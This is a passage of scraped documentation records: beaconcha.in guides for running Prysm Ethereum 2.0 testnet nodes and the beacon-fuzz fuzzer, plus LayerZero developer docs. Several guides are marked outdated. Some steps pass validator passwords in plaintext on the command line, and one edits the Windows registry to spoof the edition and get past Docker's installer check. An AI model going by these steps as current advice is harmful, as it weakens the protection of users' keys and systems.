window, drag & drop the prysm.bat file and add beacon-chain --datadir=C:\\prysm --http-web3provider=http://localhost:8545/ --pyrmont Start the validator node Open a new terminal window, drag & drop the prysm.bat file and add validator --wallet-dir=C:\\prysm --datadir=C:\\prysm --pyrmont Enter your wallet password which was set in the previous step. Find the validator public keys in the logs Enter your wallet password which was set in the previous step . That's it. We are done! Your setup should now have three running terminal windows Enter your pubkey on the beaconcha.in explorer to track its current status and performance. Find out what each of the validator status mean - \" What does \" Unknown status \" mean?\" Guides - Previous Step by Step: How to join the Ethereum 2.0 Testnet Next - Archive Depositing to Ethereum 2.0 Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Step by Step: How to join the Ethereum 2.0 Testnet", "html_url": "https://kb.beaconcha.in/guides/tutorial-eth2-multiclient", "body": "Step by Step: How to join the Ethereum 2.0 Testnet A guide for non-technical users using the Prysm and Lighthouse client General This guide is designed for non-technical people. It focuses on Windows10 and MacOs and is an ongoing process, and it will be updated as we collect feedback and adapt to the most recent client changes! Note: There are multiple ways to join the ETH2.0 Testnet by using different clients. Requirements Recommended: 8GB RAM, 100GB SSD, Metamask wallet installed Minimum: 4GB RAM, 20GB SSD, Metamask wallet installed Before we start, it is recommended reading the glossary but not a requirement. Start Staking 1. Prysm Client by Prysmatic Labs - Discord channel Windows 2. Lighthouse Client by Sigma Prime - Discord channel macos Run a Goerli node (ETH1) & beaconnode (ETH2) Beaconcha.in Explorer - Previous Optimal Inclusion Distance Next - Guides Pyrmont Testnet: Prysm Client - Windows Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Fuzzing on macOS", "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/macos", "body": "Fuzzing on macOS Beacon Fuzzer guide for macOS users. General Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. https://github.com/sigp/beacon-fuzz Lighthouse Discord Channel Requirements Install Docker 8-16 GB RAM 2-4 Core CPU Configure Docker file sharing settings Make sure that the paths /Users , /Volumes , /private , /tmp have been entered. Fuzzing Step 0. Open up a Terminal and test if docker is up and running docker -v Step 1. Clone the repository git clone https://github.com/sigp/beacon-fuzz Step 2. Change your directory cd beacon-fuzz/eth2fuzz Step 3. Build all Ethereum 2.0 client docker containers make fuzz-all This process can take up to one hour. Once the building process is done, the Fuzzer will start by fuzzing the Lighthouse client and fuzz the next client after one hour. The total process takes 5hours. Fuzzing Lighthouse Report & find bugs Step 0. Open Finder and head over to its Preferences Change the search settings to Search the Current Folder Step 1. If the fuzzer finds a bug it creates a crash file in the workspace folder ~/beacon-fuzz/eth2fuzz/workspace Step 2. Search the workspace folder for files called \" crash-...\" , which is the bug file and compress it to a zip.file An example: crash-efc8b3f0753ddd9df52b066d2f4549d548a21a58 Post the zip file on the beacon-fuzz github repository . Previous Installing Docker on Windows Home Next - Archive OUTDATED: Prysm Client Guides Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Fuzzing on Windows", "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/windows", "body": "Fuzzing on Windows Beacon Fuzzer guide for windows users. General Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. https://github.com/sigp/beacon-fuzz Lighthouse Discord Channel Requirements Install Docker on Windows Pro or Windows Home Install MAKE for Windows (External Video Guide & StackOverflow ) 8-16 GB RAM 2-4 Core CPU Download the Fuzzer Step 0. Open a terminal window and test if docker is up and running with docker -v Step 0. Continue with cd desktop followed by git clone https://github.com/sigp/beacon-fuzz Edit the MAKE file Head over to the desktop and open the downloaded folder beacon-fuzz . Continue to the subfolder eth2fuzz and open the Makefile file with a text editor . Replace all DOCKER_BUILDKIT=1 in the Makefile with docker build \\ and save the changes. There are five \"DOCKER_BUILDKIT=1\" in total. Alternatively, copy this file , which has everything replaced. Fuzzing Step 0. Open a terminal window and go to the eth2fuzz directory with cd desktop/beacon-fuzz/eth2fuzz Step 1. Build all clients and start fuzzing by running make fuzz-all That's it, the process will take multiple hours! Report Bugs Search the beacon-fuzz folder for files called \" crash-...\" , which is the bug file, and compress it to a zip file. Web tool to convert files into zip. Post the zip file on the beacon-fuzz github repository . An example: crash-efc8b3f0753ddd9df52b066d2f4549d548a21a58 Archive - Previous Beacon Fuzzer Next Installing Docker on Windows Pro Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "macOS", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm", "body": "macOS Here are the articles in this section: Beaconnode & validator using prysm.sh (recommended) Run a Slasher using prysm.sh Beaconnode & validator using Docker Previous Essential commands (macOS & Windows) Next Beaconnode & validator using prysm.sh (recommended) Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Prysm Client - Windows", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows", "body": "Prysm Client - Windows Here are the articles in this section: Beaconnode & validator using prysm.bat (recommended) Beaconnode & validator using Docker Slasher with Windows using prysm.bat Previous Beaconnode & validator using Docker Next Beaconnode & validator using prysm.bat (recommended) Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Essential commands (macOS & Windows)", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/tl-dr-essential-commands-macos-and-windows", "body": "Essential commands (macOS & Windows) A summary of the most important flags to run the prysm client with prysm.sh or prysm.bat. For beginner friendly guides please look here for Windows and here for macOS . Windows Get prysm.bat file curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.bat --output prysm.bat Beacon-node prysm.bat beacon-chain --datadir=$HOME/prysm Create new keys prysm.bat validator accounts create --keystore-path=$HOME/prysm --password=yourPassword Validator prysm.bat validator --keystore-path=$HOME/prysm --password=yourPassword Slasher prysm.bat slasher --datadir=$HOME/prysm macOS Get pryms.sh file curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh && chmod +x prysm.sh Beacon-node prysm.sh beacon-chain --datadir=$HOME/prysm Create new keys prysm.bat validator accounts create --keystore-path=$HOME/prysm --password=yourPassword Validator prysm.sh validator --keystore-path=$HOME/prysm --password=yourPassword Slasher prysm.sh slasher --datadir=$HOME/prysm Archive - Previous OUTDATED: Prysm Client Guides Next macOS Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Installing Docker on Windows Home", "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/windows/installing-docker-on-windows-home", "body": "Installing Docker on Windows Home Installing Docker on Windows Home Step 0. Make sure you have Windows10 Home . Since Docker is not available for Windows 10 Home, some workarounds are required and are solved by following this guide. Step 1. Download Docker but do not install yet. Install Hyper-V by running the .bat file. ( source ) Virtualization must be enabled ( Guide ) virtualization Step 2. Pretend being a Windows10 Pro user 1. Open the \"Registry Editor\" and go to the following path: Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion 2. Change EditionID to Professional and ProductName to Windows 10 Pro 3. Immediately open the downloaded Docker File and install Docker . registryEditor In case of a PC restart, shutdown or Docker shutdown , the registry change above needs to be re-entered otherwise Docker will not start. Step 3. Change Docker File sharing settings and give access to C: Step.4 Change Docker's default memory to 4.00 GB Previous Installing Docker on Windows Pro Next Fuzzing on macOS Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Installing Docker on Windows Pro", "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/windows/installing-docker-on-windows-pro", "body": "Installing Docker on Windows Pro I nstalling Docker on Windows Pro Step 0. Make sure you have Windows10 Pro . Step 1. Download Docker Virtualization must be enabled ( Guide ) virtualization Step 2. Change Docker File sharing settings and give access to C: Step.4 Change Docker's default memory to 4.00 GB Previous Fuzzing on Windows Next Installing Docker on Windows Home Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Beaconnode & validator using Docker", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm/docker-beaconnode-and-validator-macos", "body": "Beaconnode & validator using Docker Official PrysmaticLabs Docs Step 0. Install docker Step 1. Check if Docker is installed through the terminal. This can be done by pressing CMD+Space and searching for Terminal . Run docker -v . If the output returns the docker version, Docker is installed correctly. Step 2. Download and install latest beaconchain updates docker pull gcr.io/prysmaticlabs/prysm/beacon-chain:latest Download and install latest validator updates docker pull gcr.io/prysmaticlabs/prysm/validator:latest Create a docker network docker network create --attachable medalla Start the beaconnode docker run -ti --name beacon-chain --network medalla -v $HOME/prysm:/data -p 12000:12000/udp -p 13000:13000 gcr.io/prysmaticlabs/prysm/beacon-chain:latest --datadir=/data --rpc-host=0.0.0.0 The directory $HOME/prysm contains all the beaconchain data and can be accessed through Finder. Wait for the beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step 3. Create ETH2 Keys Open a new Terminal window and run: docker run -it -v $HOME/eth2validator:/data gcr.io/prysmaticlabs/prysm/validator:latest accounts create --keystore-path=/data --password=yourPassword The created Keys are now located in $HOME/eth2validator Copy the Raw Transaction Data and go to the participation page . Some of the instructions on the participation page will be ignored because they are not required anymore. Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 4. Start the validator Open a new Terminal window and run: docker run -ti --name validator --network medalla -v $HOME/eth2validator:/data gcr.io/prysmaticlabs/prysm/validator:latest --keystore-path=/data --datadir=/data --password=yourPassword --beacon-rpc-provider=beacon-chain:4000 Step 5. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Running multiple validators Repeat Step 3. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator \"window\", and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous Run a Slasher using prysm.sh Next Prysm Client - Windows Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Beaconnode & validator using prysm.sh (recommended)", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm/run-with-macos-using-prysm.sh", "body": "Beaconnode & validator using prysm.sh (recommended) Official PrysmaticLabs Docs Step 0. Install Homebrew Check if Homebrew is installed through the terminal. This can be done by pressing CMD+Space and searching for Terminal . Run brew help If the output is command not found , Homebrew needs to be installed, and if it matches the picture below skip to Step 1. In order to install Homebrew use the following code: /bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)\" Step 1. Install GPG brew install gnupg Create the prysm directory: mkdir prysm Enter the prysm directory: cd prysm Get the prysm.sh script and make it executable: curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh && chmod +x prysm.sh Step 2. Start the beaconnode Drag and drop the prysm.sh file into the Terminal window and add: beacon-chain --datadir=$HOME/prysm The directory $HOME/prysm contains all the beaconchain data and can be accessed through Finder. Wait for the beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step 3. Create ETH2 Keys Drag and drop the prysm.sh file into a new(!) Terminal window and add: validator accounts create --keystore-path=$HOME/prysm --password=yourPassword The created keys are now located in $HOME/prysm Copy the Raw Transaction Data and go to the participation page . Some of the instructions on the participation page will be ignored because they are not required anymore. Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 4. Start the validator Drag and drop the prysm.sh file into a new(!) Terminal window and add: validator --keystore-path=$HOME/prysm --password=yourPassword Step 5. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Running multiple validators Repeat Step 3. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator \"window\", and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous macOS Next Run a Slasher using prysm.sh Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Run a Slasher using prysm.sh", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm/slasher-windows-macos-prysm", "body": "Run a Slasher using prysm.sh General The slasher's purpose is to find malicious validators in the Ethereum 2.0 network and report slashable offenses to the beacon-node. How does the slasher work? The slasher is its own entity but requires a beacon-node to receive attestations. To find malicious activity by validators, the slashers iterates through all received attestations until a slashable offense is found. Found slashings are broadcasted to the network and the next block proposer adds the proof to the block. The block proposer get the reward for slashing - not the whistleblower(=Slasher). Run a slasher Make sure your beacon-node is in sync . If you need to run a beacon-node and validator, here is a guide for Windows and here for macOS . Step 1. Drag and drop the prysm.sh file into the Terminal window and add: slasher --datadir=$HOME/prysm That's it! The slasher now iterates through all attestations and sends proof to the detection service. Debug mode enabled with --verbosity=debug For selfish slashing, add --disable-broadcast-slashings to the beaconnode. Previous Beaconnode & validator using prysm.sh (recommended) Next Beaconnode & validator using Docker Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Beaconnode & validator using Docker", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/docker-beaconnode-and-validator", "body": "Beaconnode & validator using Docker Official PrysmaticLabs Docs A folder named \"prysm\" in C:\\ needs to be created which will also be the location of the beaconchain data. prysmFolder Step 0. Start Docker, open a Command Prompt window and type docker -v . If Docker is installed correctly, it will return you the Docker Version. If not, please make sure to follow the steps in Installing Docker on Windows Pro if you are on the professional version and Installing Docker on Windows Home if you are on the home version . If the previous command was successful, run the following code: reg add HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 This is not required. By using this command, cosmetics of the command prompt window change. Step 1. Download and install latest beaconchain updates docker pull gcr.io/prysmaticlabs/prysm/beacon-chain:latest dockerPull Download and install latest validator updates docker pull gcr.io/prysmaticlabs/prysm/validator:latest Create a docker network docker network create --attachable medalla Start the beaconnode docker run -ti --name beacon-chain --network medalla -v c:/prysm:/data -p 12000:12000/udp -p 13000:13000 gcr.io/prysmaticlabs/prysm/beacon-chain:latest --datadir=/data --rpc-host=0.0.0.0 Wait for your beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step.2 Create ETH2 keys docker run -it -v c:/prysm:/data gcr.io/prysmaticlabs/prysm/validator:latest accounts create --keystore-path=/data --password=yourPassword The output should look like the image below. If you didn't change --password=yourPassword , your validator keys will have yourPassword as its password. The newly created keys should be in C:\\prysm . Make sure they are available. Copy the Raw Transaction Data and go to the participation page . keyCreation Step 3. Some of the instructions on the participation page will be ignored because they were not optimized for Windows10 (yet). Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 4. Open a new command prompt window. Start your validator docker run -ti -name validator --network medalla -v c:/prysm:/data gcr.io/prysmaticlabs/prysm/validator:latest --keystore-path=/data --datadir=/data --password=yourPassword --medalla --beacon-rpc-provider=beacon-chain:4000 Step 5. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Validator&beaconcha.in Running multiple validators (voluntarily) Repeat Step 2. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator window, and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous Beaconnode & validator using prysm.bat (recommended) Next Installing Docker on Windows Home Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Beaconnode & validator using prysm.bat (recommended)", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/script-beaconnode-and-validator", "body": "Beaconnode & validator using prysm.bat (recommended) Official PrysmaticLabs Docs Step 0. Create a folder named prysm in the C:\\ directory. prysmFolder Step 1. Enter the following code into the command prompt window : cd C:\\prysm and then follow up with : curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.bat --output prysm.bat The prysm.bat file should appear in the C:\\prysm directory. Step 2. This Step is not required. By using this command, cosmetics of the command prompt window change. Use the following code: reg add HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 \u0000\u0000 Step 3. Start the beaconnode Drag and drop the prysm.bat file into the command prompt window and add: beacon-chain --datadir=C:\\prysm Wait for the beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step 4. Create ETH2 keys Drag and drop the prysm.bat file into the command prompt window and add: validator accounts create --keystore-path=C:\\prysm --password=yourPassword Copy the Raw Transaction Data and go to the participation page . Some of the instructions on the participation page will be ignored because they were not optimized for Windows10 (yet). Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 5. Start the validator Drag and drop the prysm.bat file into a seperate command prompt window while the beaconnode is running in a different command prompt window and add: validator --keystore-path=C:\\prysm --password=yourPassword Step 6. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Running multiple validators Repeat Step 4. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator window, and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous Prysm Client - Windows Next Beaconnode & validator using Docker Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Slasher with Windows using prysm.bat", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/slasher-with-windows-using-prysm.bat", "body": "Slasher with Windows using prysm.bat General The slasher's purpose is to find malicious validators in the Ethereum 2.0 network and report slashable offenses to the beacon-node. How does the slasher work? The slasher is its own entity but requires a beacon-node to receive attestations. To find malicious activity by validators, the slashers iterates through all received attestations until a slashable offense is found. Found slashings are broadcasted to the network and the next block proposer adds the proof to the block. The block proposer get the reward for slashing - not the whistleblower(=Slasher). Run a slasher Make sure your beacon-node is in sync . If you need to run a beacon-node and validator, here is a guide for Windows and here for macOS . Step 1. Drag and drop the prysm.bat file into the Terminal window and add: slasher --datadir=$HOME/prysm That's it! The slasher now iterates through all attestations and sends proof to the detection service. Debug mode enabled with --verbosity=debug For selfish slashing, add --disable-broadcast-slashings to the beaconnode. Previous Installing Docker on Windows Pro Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Installing Docker on Windows Home", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/docker-beaconnode-and-validator/installdocker", "body": "Installing Docker on Windows Home Installing Docker on Windows Home Step 0. Make sure you have Windows10 Home . Since Docker is not available for Windows 10 Home, some workarounds are required and are solved by following this guide. Step 1. Download Docker but do not install yet. Install Hyper-V by running the .bat file. ( source ) Virtualization must be enabled ( Guide ) virtualization Step 2. Pretend being a Windows10 Pro user 1. Open the \"Registry Editor\" and go to the following path: Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion 2. Change EditionID to Professional and ProductName to Windows 10 Pro 3. Immediately open the downloaded Docker File and install Docker . registryEditor In case of a PC restart, shutdown or Docker shutdown , the registry change above needs to be re-entered otherwise Docker will not start. Step 3. Change Docker File sharing settings and create a folder named \"prysm\" in that specific directory. In this case the \"prysm\"-folder has been created in C:\\prysm. dockerWindows Step.4 Change Docker's default memory to 4GB. dockerMemory Previous Beaconnode & validator using Docker Next Installing Docker on Windows Pro Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Installing Docker on Windows Pro", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/docker-beaconnode-and-validator/installingdocker", "body": "Installing Docker on Windows Pro Installing Docker on Windows Pro Step 0. Make sure you have Windows10 Pro . Step 1. Download Docker . Virtualization must be enabled ( Guide ) virtualization Step 2. Change Docker File sharing settings and create a folder named \"prysm\" in that specific directory. In this case the \"prysm\"-folder has been created in C:\\prysm. dockerWindows Step.4 Change Docker's default memory to 4GB dockerMemory Previous Installing Docker on Windows Home Next Slasher with Windows using prysm.bat Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "What is LayerZero", "html_url": "https://layerzero.gitbook.io/docs/", "body": "What is LayerZero Omnichain communication, interoperability, decentralized infrastructure LayerZero's default oracle will be updated to Google Cloud Oracle as of 9/19/23 , details of which you can find here . LayerZero is an omnichain interoperability protocol designed for lightweight message passing across chains. LayerZero provides authentic and guaranteed message delivery with configurable trustlessness. Where can I find more information? For the message protocol design, check out the white paper found on the website . If you are looking for a detailed system architecture explanation, check out the architectures section on the Endpoint and the Ultra-Light Node. Code Examples Learn how to integrate LayerZero into your contracts and take a look at our deployed contracts for Mainnet and Testnet usage. If you want to see some examples to play around head over to our github . See how to send a LayerZero message Next - Bug Bounty Bug Bounty Program Last modified 11d ago", "labels": ["Documentation"]}, {"title": "Code Examples", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/code-examples", "body": "Code Examples Take a look at the following MOVE Examples to get started: LayerZero-Aptos-Contract/bridge.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub TokenBridge LayerZero-Aptos-Contract/counter.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub OmniCounter Aptos Guide - Previous LZApp Modules Next OmniCounter.move Last modified 10mo ago", "labels": ["Documentation"]}, {"title": "LZApp Modules", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/lzapp-modules", "body": "LZApp Modules We provide some common modules to help build your UAs to let you put more focus on your business logic. These modules provide many useful functions that are commonly used in most UAs. You can use them directly as they are already deployed by LayerZero, or you can copy them to your own modules and modify them to fit your needs. LZApp The LZApp module provides a simple way for you to manage your UA's configurations and handle error messages. 1. Provides entry functions to config instead of calling from app with UaCapability 2. Allows the app to drop/store the next payload 3. Enables to send a layerzero message with Aptos coin and/or ZRO coin It is very simple to use it, initializing by calling the following in your UA: fun init(account: &signer, cap: UaCapability) LayerZero-Aptos-Contract/lzapp.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub LZApp Module LayerZero-Aptos-Contract/remote.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub LZApp Remote Module Previous Receive Messages Next - Aptos Guide Code Examples Last modified 10mo ago", "labels": ["Documentation"]}, {"title": "Getting Started", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master", "body": "Getting Started Developing on LayerZero is as simple as it gets - just implement the register_ua() , send() and lz_receive() interfaces and your app is ready to send messages across connected chains. To get started, check register_ua() , send() and lz_receive() . Or dive right in with a simple code example here . FAQ Learn answers to Frequently Asked Questions . Talk to the Team Twitter Telegram Discord Medium Official Website https://layerzero.network/ EVM Guides - Previous Omnichain Governance Next Register UA Last modified 10mo ago", "labels": ["Documentation"]}, {"title": "UA Custom Configuration", "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/ua-custom-configuration", "body": "UA Custom Configuration User Application contracts may set their own configuration for message library, relayer, oracle, etc. public fun set_config < UA > ( major_version : u64 , minor_version : u8 , chain_id : u64 , config_type : u8 , config_bytes : vector < u8 > , _cap : & UaCapability < UA > ) public fun set_send_msglib < UA > ( chain_id : u64 , major_version : u64 , minor_version : u8 , _cap : & UaCapability < UA > ) public fun set_receive_msglib < UA > ( chain_id : u64 , major_version : u64 , minor_version : u8 , _cap : & UaCapability < UA > ) public fun set_executor < UA > ( chain_id : u64 , version : u64 , executor : address , _cap : & UaCapability < UA > ) Previous Estimating Message Fees Next - Ecosystem Relayer Last modified 13d ago", "labels": ["Documentation"]}, {"title": "Bug Bounty Program", "html_url": "https://layerzero.gitbook.io/docs/bug-bounty/bug-bounty-program", "body": "Bug Bounty Program LayerZero has an absolute commitment to continuously evaluating and improving security, to demonstrate this we are pleased to run the largest live bug bounty program across the industry at up to $15M! You can read more about the program and make reports via Immunefi . To date LayerZero has awarded almost $1M to white hats that have made disclosures. A separate bug bounty of up to $2M exists specifically covering The Aptos Bridge , which will in time increase in scope to join the above program. More details on this separate bounty program can be found here . Previous What is LayerZero Next - Concepts Messaging Properties Last modified 12d ago", "labels": ["Documentation"]}, {"title": "Oracle", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle", "body": "Oracle Helps secure the network. Each User Application can opt-in to any Oracle LayerZero's default oracle provider will be updated as of 9/19/23 , details of which you can find here . The Oracle performs a role in securing LayerZero's messaging protocol by moving data between chains. Each oracle has the task of moving a requested block header from a source chain to a destination chain. An oracle works in tandem with a Relayer . Each User Application contract built on LayerZero will work without configuration using defaults, but a UA will also be able to configure its own Oracle and Relayer . Previous Max Proof Cost Estimate Next Default Oracle Updates Last modified 13d ago", "labels": ["Documentation"]}, {"title": "Relayer", "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer", "body": "Relayer Relayers perform a critical role in the LayerZero message protocol by delivering messages. Relayers work in tandem with an Oracle to transmit messages between chains. By default, User Applications will use the LayerZero Relayer. This means you do not need to run your own Relayer. If you want to select a custom Relayer you will need to set a custom UA configuration . If you wish to learn more about operating and/or building your own Relayer read on. Aptos Guide - Previous UA Custom Configuration Next Overview Last modified 16d ago", "labels": ["Documentation"]}, {"title": "Advanced", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/advanced", "body": "Advanced Looking to set your UA configuration ? Check here to set a custom blockConfirmations and other UA app config values. Previous Set Trusted Remotes Next Development Staging Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Best Practice", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/best-practice", "body": "Best Practice It is highly recommended User Applications implement the ILayerZeroApplicationConfig . Implementing this interface will provide you with forceResumeReceive which, in the worse case can allow the owner/multisig to unblock the queue of messages if something unexpected happens. Instant Finality Guarantee (IFG) Reverting in UA is cumbersome and expensive. It is more efficient to design your UA with IFG such that if a transaction was accepted at source, the transaction will be accepted at the remote. For example, Stargate has a credit management system (Delta Algorithm) to guarantee that if a swap was accepted at source, the destination must have enough asset to complete the swap, hence the IFG. Tracking the Nonce It is important for UA to keep track of their own nonce (e.g. by events) to correlate the send and receive side transactions. UA at send() side can query the nonce at endpoint.getOutboundNonce interface, and in lzReceive() the inboundNonce is in the arguments. One Action Per Message Try to do only one thing per message. The implication is that if the message was burnt (misconfiguration, bad code etc.. the damage to the state is minimal. Store Failed Messages If the message execution fails at the destination, try-catch, and store it for future retry. From LayerZero's perspective, the message has been delivered. It is much cheaper and easier for your programs to recover from the last state at the destination chain. Store a hash of the message payload is much cheaper than storing the whole message. Gas for Message Types If your app includes multiple message types to be sent across chains, compute a rough gas estimate at the destination chain per each message type . Your message may fail for the out-of-gas exception at the destination if your app did not instruct the relayer to put extra gas on contract execution. And the UA should enforce the gas estimate on-chain at the source chain to prevent users from inputting too low the value for gas. Address Sanity Check Check the address size according to the source chain (e.g. address size == 20 bytes on EVM chains) to prevent a vector unauthenticated contract call. Messages Encoding Use type-safe bytes codec. Use custom codec only if you are comfortable with it and your app requires deep optimization. Previous Failure Revert Messages Next - EVM Guides LayerZero Omnichain Contracts Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Code Examples", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/code-examples", "body": "Code Examples Take a look at our Solidity Examples repo or some great template code to get you started It is recommended User Applications implement NonblockingLzApp which allow you to easily override two functions to add send + receive functionality to your contracts! GitHub - LayerZero-Labs/solidity-examples: example contracts GitHub LayerZero Solidity Examples npm: @layerzerolabs/solidity-examples npm NPM package to go along with Solidity Examples The primary way to implement LayerZero messaging in your contract is to use LzApp or NonblockingLzApp: solidity-examples/contracts/lzApp at main LayerZero-Labs/solidity-examples GitHub There are implementations of Tokens (OFT) and NFTs (ONFT) as well: solidity-examples/contracts/examples at main LayerZero-Labs/solidity-examples GitHub Previous UA Configuration Lock Next OmniCounter.sol Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Error Messages", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/error-messages", "body": "Error Messages The most common problem: Not sending msg.value when calling send() on the endpoint. See notes here. See here for how much msg.value to send to cover the message cost. Is your transaction failing on destination with an unhelpful messages like this: ? Make sure you are sending the message to a destination contract that exists! If you've experimented with custom configuration, review the docs here For a description of every possible onchain failure take a look at this page . Previous ILayerZeroRelayer.sol Next StoredPayload Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Interfaces", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/interfaces", "body": "Interfaces Interfaces to the LayerZero contracts Interfaces for interacting with LayerZero contracts, including the Endpoint . Previous PingPong.sol Next EVM (Solidity) Interfaces Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "LayerZero Integration Checklist", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist", "body": "LayerZero Integration Checklist The checklist below is intended to help prepare a project that integrates LayerZero for an external audit or Mainnet deployment Use the latest version of solidity-examples package. Do not copy contracts from LayerZero repositories directly to your project. If your project requires token bridging inherit your token from OFT or ONFT . For new tokens use OFT or ONFT , for bridging existing tokens use ProxyOFT or ProxyONFT . For bridging only between EVM chains use OFT and for bridging between EVM and non EVM chains (e.g., Aptos) use OFTV2 . Do not hardcode LayerZero chain Ids. Use admin restricted setters instead. Do not hardcode address zero ( address(0) ) as zroPaymentAddress when estimating fees and sending messages. Pass it as a parameter instead. Do not hardcode useZro to false when 